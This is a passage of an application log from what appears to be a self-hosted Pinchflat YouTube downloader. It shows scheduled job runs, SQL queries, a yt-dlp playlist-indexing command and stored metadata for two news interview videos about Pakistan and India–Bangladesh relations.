{"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:38:01.720 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:38:31.723 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:00.538 [info] {"source":"oban","duration":541,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:39:01.725 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:39:19.741 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 23:39:19.741 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 23:39:19.744 [debug] QUERY OK source="sources" db=1.2ms queue=0.3ms idle=722.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 23:39:19.747 [debug] QUERY OK source="media_items" db=1.7ms queue=0.3ms idle=294.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 23:39:19.750 [debug] QUERY OK source="source_metadata" db=1.1ms idle=297.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 23:39:19.751 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.3ms idle=299.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 23:39:19.888 [info] Sent 200 in 146ms 23:39:31.728 [info] {"source":"oban","duration":2737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:00.540 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:40:01.731 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:40:31.733 [info] {"source":"oban","duration":1734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:00.541 [info] {"source":"oban","duration":403,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:41:01.741 [info] {"source":"oban","duration":6576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:23.724 [info] {"args":{"id":1},"id":101,"meta":{},"system_time":1768088483722986895,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 23:41:23.726 [debug] QUERY OK source="sources" db=0.6ms idle=260.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:41:23.813 [debug] QUERY OK source="settings" db=44.4ms queue=0.1ms idle=303.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:41:23.832 [debug] QUERY OK source="media_items" db=17.5ms idle=349.7ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:41:23.833 [debug] QUERY OK source="media_items" db=0.8ms idle=122.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:41:23.834 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=111.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:41:23.869 [debug] QUERY OK source="settings" db=0.4ms idle=142.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:41:23.876 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 23:41:23.877 [debug] Current batch of media processed. Will check again in 1000ms 23:41:23.877 [debug] QUERY OK source="settings" db=0.6ms idle=62.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:41:23.878 [debug] QUERY OK source="settings" db=0.6ms idle=44.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:41:23.879 [debug] QUERY OK source="settings" db=0.9ms idle=44.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:41:23.881 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/11/80/118071aa9cfb9404b93f0529c5b9624595fbbe1efc700cd21a06bac5b63f839a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:41:24.878 [debug] Current batch of media processed. Will check again in 1000ms 23:41:25.879 [debug] Current batch of media processed. Will check again in 1000ms 23:41:26.881 [debug] Current batch of media processed. Will check again in 1000ms 23:41:27.884 [debug] Current batch of media processed. Will check again in 1000ms 23:41:28.902 [debug] Current batch of media processed. Will check again in 1000ms 23:41:29.903 [debug] Current batch of media processed. Will check again in 1000ms 23:41:30.904 [debug] Current batch of media processed. Will check again in 1000ms 23:41:31.755 [info] {"source":"oban","duration":12878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:41:31.905 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "duration" => 1440, "filename" => "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", "id" => "lKELVRDjIBc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lKELVRDjIBc", "playlist_index" => 1, "timestamp" => 1767867762, "title" => "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "upload_date" => "20260108"} 23:41:31.911 [debug] QUERY OK source="sources" db=1.9ms queue=0.2ms idle=442.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 23:41:31.923 [debug] QUERY OK source="sources" db=3.7ms queue=0.4ms idle=452.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:41:31.989 [debug] QUERY OK source="media_items" db=37.2ms queue=1.5ms idle=482.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 23:41:32.029 [debug] QUERY OK source="media_items" db=21.5ms queue=0.1ms idle=239.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "22ec5c62-b634-40c5-9389-7bec5d2e4733", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 23:41:31Z], ~U[2026-01-10 23:41:31Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 23:41:32.031 [debug] QUERY OK source="sources" db=0.9ms queue=0.2ms idle=129.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:41:32.053 [debug] QUERY OK source="media_profiles" db=19.1ms queue=0.2ms idle=122.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:41:32.056 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=132.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [24] 23:41:32.057 [debug] Current batch of media processed. Will check again in 1000ms 23:41:33.059 [debug] Current batch of media processed. Will check again in 1000ms 23:41:34.060 [debug] Current batch of media processed. Will check again in 1000ms 23:41:35.062 [debug] Current batch of media processed. Will check again in 1000ms 23:41:35.916 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/11/80/118071aa9cfb9404b93f0529c5b9624595fbbe1efc700cd21a06bac5b63f839a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:41:35.918 [debug] Gracefully stopping file follower 23:41:35.919 [debug] QUERY OK source="sources" db=1.3ms queue=0.2ms idle=452.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 23:41:35.933 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=465.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:41:35.939 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=472.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 23:41:35.943 [debug] QUERY OK source="media_items" db=2.5ms idle=473.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "e8c3dbdd-56d6-466d-924d-509b8e6dbe46", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 23:41:35Z], ~U[2026-01-10 23:41:35Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 23:41:35.944 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=27.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:41:35.947 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=27.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 23:41:36.033 [debug] QUERY OK source="media_items" db=58.2ms queue=0.1ms idle=17.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "586e2727-341f-4994-9bae-10e6c0fe323a", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 23:41:35Z], ~U[2026-01-10 23:41:35Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, 